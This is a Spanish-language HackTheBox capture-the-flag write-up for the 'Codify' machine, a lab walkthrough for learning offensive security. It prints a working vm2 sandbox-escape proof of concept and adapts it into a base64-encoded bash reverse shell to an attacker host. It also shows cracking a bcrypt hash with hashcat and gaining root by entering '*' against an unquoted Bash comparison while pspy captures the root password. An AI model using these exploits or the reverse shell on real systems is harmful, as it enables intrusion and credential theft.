Search

Escribe para buscar.

en
HackTheBox: Codify

HackTheBox: Codify

Junior Restituyo
0xR3iko

Codify es un servidor Linux sencillo con una aplicación web que permite a los usuarios experimentar con código Node.js. Trabajaremos con la librería vm2, una base de datos con credenciales de usuario, un pitfall de Bash y el uso de pspy para espiar procesos.

Enumeración

Empezamos con un escaneo de Nmap, en el que encontramos algunos puertos comunes abiertos junto con el puerto 3000, que en mi experiencia es el puerto de desarrollo de Express.js.

# Nmap 7.94SVN scan initiated as: nmap -p22,80,3000 -sCV -n -Pn 10.10.11.239
Nmap scan report for 10.10.11.239
Host is up (0.072s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Accedimos al sitio web para ver qué encontrábamos.

La aplicación web Codify

Mirando las limitaciones, vemos que las librerías child_process y fs no están permitidas en el editor de código.

Librerías restringidas en el editor de código

Yendo a “About Us”, encontramos que la página usa la librería vm2, que con un poco de búsqueda descubrimos que es vulnerable a ejecución remota de código.

La página About Us revelando la librería vm2

¿Qué es vm2?

vm2 es un sandbox que puede ejecutar código no confiable con módulos nativos de Node en lista blanca, de forma segura.

Acceso inicial

PoC del exploit de vm2:

https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac

Usando el PoC, obtuvimos una respuesta del servidor.

js
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("cat /etc/passwd").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

Ejecutando el PoC de escape del sandbox vm2

Intentaremos obtener una reverse shell. Primero, convertimos nuestro payload a base64.

bash
echo "bash -i >& /dev/tcp/<your-ip>/<your-port> 0>&1" | base64 -w 0

Después de algunas modificaciones al PoC y agregando nuestro payload, obtenemos una shell.

js
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo <Your Payload Here> | base64 -d | bash").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

Reverse shell obtenida a través del escape de vm2

Buscando en el sistema, encontramos una base de datos muy interesante.

Encontrando una base de datos en el sistema

Abrimos la base de datos con SQLite3 para una investigación más profunda.

bash
sqlite3 /var/www/contact/tickets.db

Encontramos una base de datos main con las tablas tickets y users. En la tabla users encontramos el usuario joshua y un hash que intentaremos crackear con hashcat.

La tabla users con el hash de joshua

Para crackearlo, usamos el modo 3200 y el diccionario rockyou.txt.

bash
hashcat -m 3200 <hash.txt> rockyou.txt

Rápidamente obtuvimos la contraseña.

$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:##########

Usamos SSH para autenticarnos como el usuario joshua, lo que funcionó.

Acceso SSH como joshua

Obtuvimos nuestra primera flag.

Flag de usuario obtenida

Escalada de privilegios

Pasando a la escalada de privilegios, probamos un sudo -l, que mostró que tenemos privilegios de root para ejecutar un script del sistema: /opt/scripts/mysql-backup.sh.

sudo -l mostrando el script mysql-backup.sh

Analizando el script, notamos varias vulnerabilidades, como el manejo de la autenticación y el uso de credenciales del directorio de root.

bash
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

El problema principal está en la línea if [[ $DB_PASS == $USER_PASS ]];.

Cuando el lado derecho de un operador == dentro de [[ ]] no está entre comillas, bash hace pattern matching en vez de tratarlo como una cadena. Así que si la contraseña contiene *, el resultado siempre será verdadero.

Entonces, si simplemente ponemos * como contraseña, el script la aceptará y continuará.

El segundo problema es cómo se pasa la contraseña a mysqldump: en vez de la contraseña provista por el usuario, el script la lee de /root/.creds. Así que si saltamos la validación con el truco de pattern matching, también podemos exponer la contraseña real usando una herramienta de monitoreo de procesos como pspy. Necesitamos dos sesiones SSH: una para correr pspy y otra para ejecutar el script.

https://github.com/DominicBreuker/pspy

¿Qué es pspy?

pspy es una herramienta de línea de comandos para espiar procesos sin permisos de root. Permite ver los comandos que ejecutan otros usuarios, cron jobs, etc. a medida que se ejecutan.

Después de descargar pspy y enviarlo a la víctima, le damos permisos de ejecución y lo corremos.

bash
chmod +x pspy64s
./pspy64s -i 1

Ejecutando pspy para monitorear procesos

Con pspy escuchando, vamos a nuestra otra sesión, ejecutamos el script y pasamos * como contraseña.

Ejecutando el script de sudo con * como contraseña

Como vemos, el script se ejecuta sin problemas, y mientras tanto capturamos todo el proceso, junto con la contraseña del usuario root.

pspy capturando la contraseña de root

Cambiamos de usuario en la máquina y obtuvimos acceso root.

bash
su root

Cambiando a root con la contraseña capturada

Acá tenemos nuestra última flag.

Flag de root obtenida

Gracias por leer.